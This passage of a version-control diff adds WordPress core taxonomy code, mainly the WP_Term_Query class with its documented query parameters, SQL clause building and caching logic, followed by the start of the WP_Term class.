+	 *     @type string       $order                  Whether to order terms in ascending or descending order.
+	 *                                                Accepts 'ASC' (ascending) or 'DESC' (descending).
+	 *                                                Default 'ASC'.
+	 *     @type bool|int     $hide_empty             Whether to hide terms not assigned to any posts. Accepts
+	 *                                                1|true or 0|false. Default 1|true.
+	 *     @type array|string $include                Array or comma/space-separated string of term ids to include.
+	 *                                                Default empty array.
+	 *     @type array|string $exclude                Array or comma/space-separated string of term ids to exclude.
+	 *                                                If $include is non-empty, $exclude is ignored.
+	 *                                                Default empty array.
+	 *     @type array|string $exclude_tree           Array or comma/space-separated string of term ids to exclude
+	 *                                                along with all of their descendant terms. If $include is
+	 *                                                non-empty, $exclude_tree is ignored. Default empty array.
+	 *     @type int|string   $number                 Maximum number of terms to return. Accepts ''|0 (all) or any
+	 *                                                positive number. Default ''|0 (all). Note that $number may
+	 *                                                not return accurate results when coupled with $object_ids.
+	 *                                                See #41796 for details.
+	 *     @type int          $offset                 The number by which to offset the terms query. Default empty.
+	 *     @type string       $fields                 Term fields to query for. Accepts 'all' (returns an array of
+	 *                                                complete term objects), 'all_with_object_id' (returns an
+	 *                                                array of term objects with the 'object_id' param; only works
+	 *                                                when the `$fields` parameter is 'object_ids' ), 'ids'
+	 *                                                (returns an array of ids), 'tt_ids' (returns an array of
+	 *                                                term taxonomy ids), 'id=>parent' (returns an associative
+	 *                                                array with ids as keys, parent term IDs as values), 'names'
+	 *                                                (returns an array of term names), 'count' (returns the number
+	 *                                                of matching terms), 'id=>name' (returns an associative array
+	 *                                                with ids as keys, term names as values), or 'id=>slug'
+	 *                                                (returns an associative array with ids as keys, term slugs
+	 *                                                as values). Default 'all'.
+	 *     @type bool         $count                  Whether to return a term count (true) or array of term objects
+	 *                                                (false). Will take precedence over `$fields` if true.
+	 *                                                Default false.
+	 *     @type string|array $name                   Optional. Name or array of names to return term(s) for.
+	 *                                                Default empty.
+	 *     @type string|array $slug                   Optional. Slug or array of slugs to return term(s) for.
+	 *                                                Default empty.
+	 *     @type int|array    $term_taxonomy_id       Optional. Term taxonomy ID, or array of term taxonomy IDs,
+	 *                                                to match when querying terms.
+	 *     @type bool         $hierarchical           Whether to include terms that have non-empty descendants (even
+	 *                                                if $hide_empty is set to true). Default true.
+	 *     @type string       $search                 Search criteria to match terms. Will be SQL-formatted with
+	 *                                                wildcards before and after. Default empty.
+	 *     @type string       $name__like             Retrieve terms with criteria by which a term is LIKE
+	 *                                                `$name__like`. Default empty.
+	 *     @type string       $description__like      Retrieve terms where the description is LIKE
+	 *                                                `$description__like`. Default empty.
+	 *     @type bool         $pad_counts             Whether to pad the quantity of a term's children in the
+	 *                                                quantity of each term's "count" object variable.
+	 *                                                Default false.
+	 *     @type string       $get                    Whether to return terms regardless of ancestry or whether the
+	 *                                                terms are empty. Accepts 'all' or empty (disabled).
+	 *                                                Default empty.
+	 *     @type int          $child_of               Term ID to retrieve child terms of. If multiple taxonomies
+	 *                                                are passed, $child_of is ignored. Default 0.
+	 *     @type int|string   $parent                 Parent term ID to retrieve direct-child terms of.
+	 *                                                Default empty.
+	 *     @type bool         $childless              True to limit results to terms that have no children.
+	 *                                                This parameter has no effect on non-hierarchical taxonomies.
+	 *                                                Default false.
+	 *     @type string       $cache_domain           Unique cache key to be produced when this query is stored in
+	 *                                                an object cache. Default is 'core'.
+	 *     @type bool         $update_term_meta_cache Whether to prime meta caches for matched terms. Default true.
+	 *     @type array        $meta_query             Optional. Meta query clauses to limit retrieved terms by.
+	 *                                                See `WP_Meta_Query`. Default empty.
+	 *     @type string       $meta_key               Limit terms to those matching a specific metadata key.
+	 *                                                Can be used in conjunction with `$meta_value`. Default empty.
+	 *     @type string       $meta_value             Limit terms to those matching a specific metadata value.
+	 *                                                Usually used in conjunction with `$meta_key`. Default empty.
+	 *     @type string       $meta_type              MySQL data type that the `$meta_value` will be CAST to for
+	 *                                                comparisons. Default empty.
+	 *     @type string       $meta_compare           Comparison operator to test the 'meta_value'. Default empty.
+	 * }
+	 */
+	public function __construct( $query = '' ) {
+		$this->query_var_defaults = array(
+			'taxonomy'               => null,
+			'object_ids'             => null,
+			'orderby'                => 'name',
+			'order'                  => 'ASC',
+			'hide_empty'             => true,
+			'include'                => array(),
+			'exclude'                => array(),
+			'exclude_tree'           => array(),
+			'number'                 => '',
+			'offset'                 => '',
+			'fields'                 => 'all',
+			'count'                  => false,
+			'name'                   => '',
+			'slug'                   => '',
+			'term_taxonomy_id'       => '',
+			'hierarchical'           => true,
+			'search'                 => '',
+			'name__like'             => '',
+			'description__like'      => '',
+			'pad_counts'             => false,
+			'get'                    => '',
+			'child_of'               => 0,
+			'parent'                 => '',
+			'childless'              => false,
+			'cache_domain'           => 'core',
+			'update_term_meta_cache' => true,
+			'meta_query'             => '',
+			'meta_key'               => '',
+			'meta_value'             => '',
+			'meta_type'              => '',
+			'meta_compare'           => '',
+		);
+
+		if ( ! empty( $query ) ) {
+			$this->query( $query );
+		}
+	}
+
+	/**
+	 * Parse arguments passed to the term query with default query parameters.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string|array $query WP_Term_Query arguments. See WP_Term_Query::__construct()
+	 */
+	public function parse_query( $query = '' ) {
+		if ( empty( $query ) ) {
+			$query = $this->query_vars;
+		}
+
+		$taxonomies = isset( $query['taxonomy'] ) ? (array) $query['taxonomy'] : null;
+
+		/**
+		 * Filters the terms query default arguments.
+		 *
+		 * Use {@see 'get_terms_args'} to filter the passed arguments.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array $defaults   An array of default get_terms() arguments.
+		 * @param array $taxonomies An array of taxonomies.
+		 */
+		$this->query_var_defaults = apply_filters( 'get_terms_defaults', $this->query_var_defaults, $taxonomies );
+
+		$query = wp_parse_args( $query, $this->query_var_defaults );
+
+		$query['number'] = absint( $query['number'] );
+		$query['offset'] = absint( $query['offset'] );
+
+		// 'parent' overrides 'child_of'.
+		if ( 0 < intval( $query['parent'] ) ) {
+			$query['child_of'] = false;
+		}
+
+		if ( 'all' == $query['get'] ) {
+			$query['childless'] = false;
+			$query['child_of'] = 0;
+			$query['hide_empty'] = 0;
+			$query['hierarchical'] = false;
+			$query['pad_counts'] = false;
+		}
+
+		$query['taxonomy'] = $taxonomies;
+
+		$this->query_vars = $query;
+
+		/**
+		 * Fires after term query vars have been parsed.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param WP_Term_Query $this Current instance of WP_Term_Query.
+		 */
+		do_action( 'parse_term_query', $this );
+	}
+
+	/**
+	 * Sets up the query for retrieving terms.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string|array $query Array or URL query string of parameters.
+	 * @return array|int List of terms, or number of terms when 'count' is passed as a query var.
+	 */
+	public function query( $query ) {
+		$this->query_vars = wp_parse_args( $query );
+		return $this->get_terms();
+	}
+
+	/**
+	 * Get terms, based on query_vars.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @return array List of terms.
+	 */
+	public function get_terms() {
+		global $wpdb;
+
+		$this->parse_query( $this->query_vars );
+		$args = &$this->query_vars;
+
+		// Set up meta_query so it's available to 'pre_get_terms'.
+		$this->meta_query = new WP_Meta_Query();
+		$this->meta_query->parse_query_vars( $args );
+
+		/**
+		 * Fires before terms are retrieved.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param WP_Term_Query $this Current instance of WP_Term_Query.
+		 */
+		do_action( 'pre_get_terms', $this );
+
+		$taxonomies = (array) $args['taxonomy'];
+
+		// Save queries by not crawling the tree in the case of multiple taxes or a flat tax.
+		$has_hierarchical_tax = false;
+		if ( $taxonomies ) {
+			foreach ( $taxonomies as $_tax ) {
+				if ( is_taxonomy_hierarchical( $_tax ) ) {
+					$has_hierarchical_tax = true;
+				}
+			}
+		}
+
+		if ( ! $has_hierarchical_tax ) {
+			$args['hierarchical'] = false;
+			$args['pad_counts'] = false;
+		}
+
+		// 'parent' overrides 'child_of'.
+		if ( 0 < intval( $args['parent'] ) ) {
+			$args['child_of'] = false;
+		}
+
+		if ( 'all' == $args['get'] ) {
+			$args['childless'] = false;
+			$args['child_of'] = 0;
+			$args['hide_empty'] = 0;
+			$args['hierarchical'] = false;
+			$args['pad_counts'] = false;
+		}
+
+		/**
+		 * Filters the terms query arguments.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array $args       An array of get_terms() arguments.
+		 * @param array $taxonomies An array of taxonomies.
+		 */
+		$args = apply_filters( 'get_terms_args', $args, $taxonomies );
+
+		// Avoid the query if the queried parent/child_of term has no descendants.
+		$child_of = $args['child_of'];
+		$parent   = $args['parent'];
+
+		if ( $child_of ) {
+			$_parent = $child_of;
+		} elseif ( $parent ) {
+			$_parent = $parent;
+		} else {
+			$_parent = false;
+		}
+
+		if ( $_parent ) {
+			$in_hierarchy = false;
+			foreach ( $taxonomies as $_tax ) {
+				$hierarchy = _get_term_hierarchy( $_tax );
+
+				if ( isset( $hierarchy[ $_parent ] ) ) {
+					$in_hierarchy = true;
+				}
+			}
+
+			if ( ! $in_hierarchy ) {
+				return array();
+			}
+		}
+
+		// 'term_order' is a legal sort order only when joining the relationship table.
+		$_orderby = $this->query_vars['orderby'];
+		if ( 'term_order' === $_orderby && empty( $this->query_vars['object_ids'] ) ) {
+			$_orderby = 'term_id';
+		}
+		$orderby = $this->parse_orderby( $_orderby );
+
+		if ( $orderby ) {
+			$orderby = "ORDER BY $orderby";
+		}
+
+		$order = $this->parse_order( $this->query_vars['order'] );
+
+		if ( $taxonomies ) {
+			$this->sql_clauses['where']['taxonomy'] = "tt.taxonomy IN ('" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "')";
+		}
+
+		$exclude      = $args['exclude'];
+		$exclude_tree = $args['exclude_tree'];
+		$include      = $args['include'];
+
+		$inclusions = '';
+		if ( ! empty( $include ) ) {
+			$exclude = '';
+			$exclude_tree = '';
+			$inclusions = implode( ',', wp_parse_id_list( $include ) );
+		}
+
+		if ( ! empty( $inclusions ) ) {
+			$this->sql_clauses['where']['inclusions'] = 't.term_id IN ( ' . $inclusions . ' )';
+		}
+
+		$exclusions = array();
+		if ( ! empty( $exclude_tree ) ) {
+			$exclude_tree = wp_parse_id_list( $exclude_tree );
+			$excluded_children = $exclude_tree;
+			foreach ( $exclude_tree as $extrunk ) {
+				$excluded_children = array_merge(
+					$excluded_children,
+					(array) get_terms( reset( $taxonomies ), array(
+						'child_of' => intval( $extrunk ),
+						'fields' => 'ids',
+						'hide_empty' => 0
+					) )
+				);
+			}
+			$exclusions = array_merge( $excluded_children, $exclusions );
+		}
+
+		if ( ! empty( $exclude ) ) {
+			$exclusions = array_merge( wp_parse_id_list( $exclude ), $exclusions );
+		}
+
+		// 'childless' terms are those without an entry in the flattened term hierarchy.
+		$childless = (bool) $args['childless'];
+		if ( $childless ) {
+			foreach ( $taxonomies as $_tax ) {
+				$term_hierarchy = _get_term_hierarchy( $_tax );
+				$exclusions = array_merge( array_keys( $term_hierarchy ), $exclusions );
+			}
+		}
+
+		if ( ! empty( $exclusions ) ) {
+			$exclusions = 't.term_id NOT IN (' . implode( ',', array_map( 'intval', $exclusions ) ) . ')';
+		} else {
+			$exclusions = '';
+		}
+
+		/**
+		 * Filters the terms to exclude from the terms query.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string $exclusions `NOT IN` clause of the terms query.
+		 * @param array  $args       An array of terms query arguments.
+		 * @param array  $taxonomies An array of taxonomies.
+		 */
+		$exclusions = apply_filters( 'list_terms_exclusions', $exclusions, $args, $taxonomies );
+
+		if ( ! empty( $exclusions ) ) {
+			// Must do string manipulation here for backward compatibility with filter.
+			$this->sql_clauses['where']['exclusions'] = preg_replace( '/^\s*AND\s*/', '', $exclusions );
+		}
+
+		if (
+			( ! empty( $args['name'] ) ) ||
+			( is_string( $args['name'] ) && 0 !== strlen( $args['name'] ) )
+		) {
+			$names = (array) $args['name'];
+			foreach ( $names as &$_name ) {
+				// `sanitize_term_field()` returns slashed data.
+				$_name = stripslashes( sanitize_term_field( 'name', $_name, 0, reset( $taxonomies ), 'db' ) );
+			}
+
+			$this->sql_clauses['where']['name'] = "t.name IN ('" . implode( "', '", array_map( 'esc_sql', $names ) ) . "')";
+		}
+
+		if (
+			( ! empty( $args['slug'] ) ) ||
+			( is_string( $args['slug'] ) && 0 !== strlen( $args['slug'] ) )
+		) {
+			if ( is_array( $args['slug'] ) ) {
+				$slug = array_map( 'sanitize_title', $args['slug'] );
+				$this->sql_clauses['where']['slug'] = "t.slug IN ('" . implode( "', '", $slug ) . "')";
+			} else {
+				$slug = sanitize_title( $args['slug'] );
+				$this->sql_clauses['where']['slug'] = "t.slug = '$slug'";
+			}
+		}
+
+		if ( ! empty( $args['term_taxonomy_id'] ) ) {
+			if ( is_array( $args['term_taxonomy_id'] ) ) {
+				$tt_ids = implode( ',', array_map( 'intval', $args['term_taxonomy_id'] ) );
+				$this->sql_clauses['where']['term_taxonomy_id'] = "tt.term_taxonomy_id IN ({$tt_ids})";
+			} else {
+				$this->sql_clauses['where']['term_taxonomy_id'] = $wpdb->prepare( "tt.term_taxonomy_id = %d", $args['term_taxonomy_id'] );
+			}
+		}
+
+		if ( ! empty( $args['name__like'] ) ) {
+			$this->sql_clauses['where']['name__like'] = $wpdb->prepare( "t.name LIKE %s", '%' . $wpdb->esc_like( $args['name__like'] ) . '%' );
+		}
+
+		if ( ! empty( $args['description__like'] ) ) {
+			$this->sql_clauses['where']['description__like'] = $wpdb->prepare( "tt.description LIKE %s", '%' . $wpdb->esc_like( $args['description__like'] ) . '%' );
+		}
+
+		if ( ! empty( $args['object_ids'] ) ) {
+			$object_ids = $args['object_ids'];
+			if ( ! is_array( $object_ids ) ) {
+				$object_ids = array( $object_ids );
+			}
+
+			$object_ids = implode( ', ', array_map( 'intval', $object_ids ) );
+			$this->sql_clauses['where']['object_ids'] = "tr.object_id IN ($object_ids)";
+		}
+
+		/*
+		 * When querying for object relationships, the 'count > 0' check
+		 * added by 'hide_empty' is superfluous.
+		 */
+		if ( ! empty( $args['object_ids'] ) ) {
+			$args['hide_empty'] = false;
+		}
+
+		if ( '' !== $parent ) {
+			$parent = (int) $parent;
+			$this->sql_clauses['where']['parent'] = "tt.parent = '$parent'";
+		}
+
+		$hierarchical = $args['hierarchical'];
+		if ( 'count' == $args['fields'] ) {
+			$hierarchical = false;
+		}
+		if ( $args['hide_empty'] && !$hierarchical ) {
+			$this->sql_clauses['where']['count'] = 'tt.count > 0';
+		}
+
+		$number = $args['number'];
+		$offset = $args['offset'];
+
+		// Don't limit the query results when we have to descend the family tree.
+		if ( $number && ! $hierarchical && ! $child_of && '' === $parent ) {
+			if ( $offset ) {
+				$limits = 'LIMIT ' . $offset . ',' . $number;
+			} else {
+				$limits = 'LIMIT ' . $number;
+			}
+		} else {
+			$limits = '';
+		}
+
+
+		if ( ! empty( $args['search'] ) ) {
+			$this->sql_clauses['where']['search'] = $this->get_search_sql( $args['search'] );
+		}
+
+		// Meta query support.
+		$join = '';
+		$distinct = '';
+
+		// Reparse meta_query query_vars, in case they were modified in a 'pre_get_terms' callback.
+		$this->meta_query->parse_query_vars( $this->query_vars );
+		$mq_sql = $this->meta_query->get_sql( 'term', 't', 'term_id' );
+		$meta_clauses = $this->meta_query->get_clauses();
+
+		if ( ! empty( $meta_clauses ) ) {
+			$join .= $mq_sql['join'];
+			$this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $mq_sql['where'] );
+			$distinct .= "DISTINCT";
+
+		}
+
+		$selects = array();
+		switch ( $args['fields'] ) {
+			case 'all':
+			case 'all_with_object_id' :
+			case 'tt_ids' :
+			case 'slugs' :
+				$selects = array( 't.*', 'tt.*' );
+				if ( 'all_with_object_id' === $args['fields'] && ! empty( $args['object_ids'] ) ) {
+					$selects[] = 'tr.object_id';
+				}
+				break;
+			case 'ids':
+			case 'id=>parent':
+				$selects = array( 't.term_id', 'tt.parent', 'tt.count', 'tt.taxonomy' );
+				break;
+			case 'names':
+				$selects = array( 't.term_id', 'tt.parent', 'tt.count', 't.name', 'tt.taxonomy' );
+				break;
+			case 'count':
+				$orderby = '';
+				$order = '';
+				$selects = array( 'COUNT(*)' );
+				break;
+			case 'id=>name':
+				$selects = array( 't.term_id', 't.name', 'tt.count', 'tt.taxonomy' );
+				break;
+			case 'id=>slug':
+				$selects = array( 't.term_id', 't.slug', 'tt.count', 'tt.taxonomy' );
+				break;
+		}
+
+		$_fields = $args['fields'];
+
+		/**
+		 * Filters the fields to select in the terms query.
+		 *
+		 * Field lists modified using this filter will only modify the term fields returned
+		 * by the function when the `$fields` parameter set to 'count' or 'all'. In all other
+		 * cases, the term fields in the results array will be determined by the `$fields`
+		 * parameter alone.
+		 *
+		 * Use of this filter can result in unpredictable behavior, and is not recommended.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array $selects    An array of fields to select for the terms query.
+		 * @param array $args       An array of term query arguments.
+		 * @param array $taxonomies An array of taxonomies.
+		 */
+		$fields = implode( ', ', apply_filters( 'get_terms_fields', $selects, $args, $taxonomies ) );
+
+		$join .= " INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id";
+
+		if ( ! empty( $this->query_vars['object_ids'] ) ) {
+			$join .= " INNER JOIN {$wpdb->term_relationships} AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id";
+		}
+
+		$where = implode( ' AND ', $this->sql_clauses['where'] );
+
+		/**
+		 * Filters the terms query SQL clauses.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array $pieces     Terms query SQL clauses.
+		 * @param array $taxonomies An array of taxonomies.
+		 * @param array $args       An array of terms query arguments.
+		 */
+		$clauses = apply_filters( 'terms_clauses', compact( 'fields', 'join', 'where', 'distinct', 'orderby', 'order', 'limits' ), $taxonomies, $args );
+
+		$fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : '';
+		$join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : '';
+		$where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : '';
+		$distinct = isset( $clauses[ 'distinct' ] ) ? $clauses[ 'distinct' ] : '';
+		$orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : '';
+		$order = isset( $clauses[ 'order' ] ) ? $clauses[ 'order' ] : '';
+		$limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : '';
+
+		if ( $where ) {
+			$where = "WHERE $where";
+		}
+
+		$this->sql_clauses['select']  = "SELECT $distinct $fields";
+		$this->sql_clauses['from']    = "FROM $wpdb->terms AS t $join";
+		$this->sql_clauses['orderby'] = $orderby ? "$orderby $order" : '';
+		$this->sql_clauses['limits']  = $limits;
+
+		$this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}";
+
+		// $args can be anything. Only use the args defined in defaults to compute the key.
+		$key = md5( serialize( wp_array_slice_assoc( $args, array_keys( $this->query_var_defaults ) ) ) . serialize( $taxonomies ) . $this->request );
+		$last_changed = wp_cache_get_last_changed( 'terms' );
+		$cache_key = "get_terms:$key:$last_changed";
+		$cache = wp_cache_get( $cache_key, 'terms' );
+		if ( false !== $cache ) {
+			if ( 'all' === $_fields || 'all_with_object_id' === $_fields ) {
+				$cache = $this->populate_terms( $cache );
+			}
+
+			$this->terms = $cache;
+			return $this->terms;
+		}
+
+		if ( 'count' == $_fields ) {
+			$count = $wpdb->get_var( $this->request );
+			wp_cache_set( $cache_key, $count, 'terms' );
+			return $count;
+		}
+
+		$terms = $wpdb->get_results( $this->request );
+		if ( 'all' == $_fields || 'all_with_object_id' === $_fields ) {
+			update_term_cache( $terms );
+		}
+
+		// Prime termmeta cache.
+		if ( $args['update_term_meta_cache'] ) {
+			$term_ids = wp_list_pluck( $terms, 'term_id' );
+			update_termmeta_cache( $term_ids );
+		}
+
+		if ( empty( $terms ) ) {
+			wp_cache_add( $cache_key, array(), 'terms', DAY_IN_SECONDS );
+			return array();
+		}
+
+		if ( $child_of ) {
+			foreach ( $taxonomies as $_tax ) {
+				$children = _get_term_hierarchy( $_tax );
+				if ( ! empty( $children ) ) {
+					$terms = _get_term_children( $child_of, $terms, $_tax );
+				}
+			}
+		}
+
+		// Update term counts to include children.
+		if ( $args['pad_counts'] && 'all' == $_fields ) {
+			foreach ( $taxonomies as $_tax ) {
+				_pad_term_counts( $terms, $_tax );
+			}
+		}
+
+		// Make sure we show empty categories that have children.
+		if ( $hierarchical && $args['hide_empty'] && is_array( $terms ) ) {
+			foreach ( $terms as $k => $term ) {
+				if ( ! $term->count ) {
+					$children = get_term_children( $term->term_id, $term->taxonomy );
+					if ( is_array( $children ) ) {
+						foreach ( $children as $child_id ) {
+							$child = get_term( $child_id, $term->taxonomy );
+							if ( $child->count ) {
+								continue 2;
+							}
+						}
+					}
+
+					// It really is empty.
+					unset( $terms[ $k ] );
+				}
+			}
+		}
+
+		/*
+		 * When querying for terms connected to objects, we may get
+		 * duplicate results. The duplicates should be preserved if
+		 * `$fields` is 'all_with_object_id', but should otherwise be
+		 * removed.
+		 */
+		if ( ! empty( $args['object_ids'] ) && 'all_with_object_id' != $_fields ) {
+			$_tt_ids = $_terms = array();
+			foreach ( $terms as $term ) {
+				if ( isset( $_tt_ids[ $term->term_id ] ) ) {
+					continue;
+				}
+
+				$_tt_ids[ $term->term_id ] = 1;
+				$_terms[] = $term;
+			}
+
+			$terms = $_terms;
+		}
+
+		$_terms = array();
+		if ( 'id=>parent' == $_fields ) {
+			foreach ( $terms as $term ) {
+				$_terms[ $term->term_id ] = $term->parent;
+			}
+		} elseif ( 'ids' == $_fields ) {
+			foreach ( $terms as $term ) {
+				$_terms[] = (int) $term->term_id;
+			}
+		} elseif ( 'tt_ids' == $_fields ) {
+			foreach ( $terms as $term ) {
+				$_terms[] = (int) $term->term_taxonomy_id;
+			}
+		} elseif ( 'names' == $_fields ) {
+			foreach ( $terms as $term ) {
+				$_terms[] = $term->name;
+			}
+		} elseif ( 'slugs' == $_fields ) {
+			foreach ( $terms as $term ) {
+				$_terms[] = $term->slug;
+			}
+		} elseif ( 'id=>name' == $_fields ) {
+			foreach ( $terms as $term ) {
+				$_terms[ $term->term_id ] = $term->name;
+			}
+		} elseif ( 'id=>slug' == $_fields ) {
+			foreach ( $terms as $term ) {
+				$_terms[ $term->term_id ] = $term->slug;
+			}
+		}
+
+		if ( ! empty( $_terms ) ) {
+			$terms = $_terms;
+		}
+
+		// Hierarchical queries are not limited, so 'offset' and 'number' must be handled now.
+		if ( $hierarchical && $number && is_array( $terms ) ) {
+			if ( $offset >= count( $terms ) ) {
+				$terms = array();
+			} else {
+				$terms = array_slice( $terms, $offset, $number, true );
+			}
+		}
+
+		wp_cache_add( $cache_key, $terms, 'terms', DAY_IN_SECONDS );
+
+		if ( 'all' === $_fields || 'all_with_object_id' === $_fields ) {
+			$terms = $this->populate_terms( $terms );
+		}
+
+		$this->terms = $terms;
+		return $this->terms;
+	}
+
+	/**
+	 * Parse and sanitize 'orderby' keys passed to the term query.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $orderby_raw Alias for the field to order by.
+	 * @return string|false Value to used in the ORDER clause. False otherwise.
+	 */
+	protected function parse_orderby( $orderby_raw ) {
+		$_orderby = strtolower( $orderby_raw );
+		$maybe_orderby_meta = false;
+
+		if ( in_array( $_orderby, array( 'term_id', 'name', 'slug', 'term_group' ), true ) ) {
+			$orderby = "t.$_orderby";
+		} elseif ( in_array( $_orderby, array( 'count', 'parent', 'taxonomy', 'term_taxonomy_id', 'description' ), true ) ) {
+			$orderby = "tt.$_orderby";
+		} elseif ( 'term_order' === $_orderby ) {
+			$orderby = 'tr.term_order';
+		} elseif ( 'include' == $_orderby && ! empty( $this->query_vars['include'] ) ) {
+			$include = implode( ',', wp_parse_id_list( $this->query_vars['include'] ) );
+			$orderby = "FIELD( t.term_id, $include )";
+		} elseif ( 'slug__in' == $_orderby && ! empty( $this->query_vars['slug'] ) && is_array( $this->query_vars['slug'] ) ) {
+			$slugs = implode( "', '", array_map( 'sanitize_title_for_query', $this->query_vars['slug'] ) );
+			$orderby = "FIELD( t.slug, '" . $slugs . "')";
+		} elseif ( 'none' == $_orderby ) {
+			$orderby = '';
+		} elseif ( empty( $_orderby ) || 'id' == $_orderby || 'term_id' === $_orderby ) {
+			$orderby = 't.term_id';
+		} else {
+			$orderby = 't.name';
+
+			// This may be a value of orderby related to meta.
+			$maybe_orderby_meta = true;
+		}
+
+		/**
+		 * Filters the ORDERBY clause of the terms query.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $orderby    `ORDERBY` clause of the terms query.
+		 * @param array  $args       An array of terms query arguments.
+		 * @param array  $taxonomies An array of taxonomies.
+		 */
+		$orderby = apply_filters( 'get_terms_orderby', $orderby, $this->query_vars, $this->query_vars['taxonomy'] );
+
+		// Run after the 'get_terms_orderby' filter for backward compatibility.
+		if ( $maybe_orderby_meta ) {
+			$maybe_orderby_meta = $this->parse_orderby_meta( $_orderby );
+			if ( $maybe_orderby_meta ) {
+				$orderby = $maybe_orderby_meta;
+			}
+		}
+
+		return $orderby;
+	}
+
+	/**
+	 * Generate the ORDER BY clause for an 'orderby' param that is potentially related to a meta query.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $orderby_raw Raw 'orderby' value passed to WP_Term_Query.
+	 * @return string ORDER BY clause.
+	 */
+	protected function parse_orderby_meta( $orderby_raw ) {
+		$orderby = '';
+
+		// Tell the meta query to generate its SQL, so we have access to table aliases.
+		$this->meta_query->get_sql( 'term', 't', 'term_id' );
+		$meta_clauses = $this->meta_query->get_clauses();
+		if ( ! $meta_clauses || ! $orderby_raw ) {
+			return $orderby;
+		}
+
+		$allowed_keys = array();
+		$primary_meta_key = null;
+		$primary_meta_query = reset( $meta_clauses );
+		if ( ! empty( $primary_meta_query['key'] ) ) {
+			$primary_meta_key = $primary_meta_query['key'];
+			$allowed_keys[] = $primary_meta_key;
+		}
+		$allowed_keys[] = 'meta_value';
+		$allowed_keys[] = 'meta_value_num';
+		$allowed_keys   = array_merge( $allowed_keys, array_keys( $meta_clauses ) );
+
+		if ( ! in_array( $orderby_raw, $allowed_keys, true ) ) {
+			return $orderby;
+		}
+
+		switch( $orderby_raw ) {
+			case $primary_meta_key:
+			case 'meta_value':
+				if ( ! empty( $primary_meta_query['type'] ) ) {
+					$orderby = "CAST({$primary_meta_query['alias']}.meta_value AS {$primary_meta_query['cast']})";
+				} else {
+					$orderby = "{$primary_meta_query['alias']}.meta_value";
+				}
+				break;
+
+			case 'meta_value_num':
+				$orderby = "{$primary_meta_query['alias']}.meta_value+0";
+				break;
+
+			default:
+				if ( array_key_exists( $orderby_raw, $meta_clauses ) ) {
+					// $orderby corresponds to a meta_query clause.
+					$meta_clause = $meta_clauses[ $orderby_raw ];
+					$orderby = "CAST({$meta_clause['alias']}.meta_value AS {$meta_clause['cast']})";
+				}
+				break;
+		}
+
+		return $orderby;
+	}
+
+	/**
+	 * Parse an 'order' query variable and cast it to ASC or DESC as necessary.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $order The 'order' query variable.
+	 * @return string The sanitized 'order' query variable.
+	 */
+	protected function parse_order( $order ) {
+		if ( ! is_string( $order ) || empty( $order ) ) {
+			return 'DESC';
+		}
+
+		if ( 'ASC' === strtoupper( $order ) ) {
+			return 'ASC';
+		} else {
+			return 'DESC';
+		}
+	}
+
+	/**
+	 * Used internally to generate a SQL string related to the 'search' parameter.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $string
+	 * @return string
+	 */
+	protected function get_search_sql( $string ) {
+		global $wpdb;
+
+		$like = '%' . $wpdb->esc_like( $string ) . '%';
+
+		return $wpdb->prepare( '((t.name LIKE %s) OR (t.slug LIKE %s))', $like, $like );
+	}
+
+	/**
+	 * Creates an array of term objects from an array of term IDs.
+	 *
+	 * Also discards invalid term objects.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @param array $term_ids Term IDs.
+	 * @return array
+	 */
+	protected function populate_terms( $term_ids ) {
+		$terms = array();
+
+		if ( ! is_array( $term_ids ) ) {
+			return $terms;
+		}
+
+		foreach ( $term_ids as $key => $term_id ) {
+			$term = get_term( $term_id );
+			if ( $term instanceof WP_Term ) {
+				$terms[ $key ] = $term;
+			}
+		}
+
+		return $terms;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-term.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-term.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-term.php	(revision 56912)
@@ -0,0 +1,245 @@
+<?php
+/**
+ * Taxonomy API: WP_Term class
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement the WP_Term object.
+ *
+ * @since 4.4.0
+ *
+ * @property-read object $data Sanitized term data.
+ */
+final class WP_Term {
+
+	/**
+	 * Term ID.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $term_id;
+
+	/**
+	 * The term's name.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $name = '';
+
+	/**
+	 * The term's slug.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $slug = '';
+
+	/**
+	 * The term's term_group.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $term_group = '';
+
+	/**
+	 * Term Taxonomy ID.
+	 *
+	 * @since 4.4.0
+	 * @var int
+	 */
+	public $term_taxonomy_id = 0;
+
+	/**
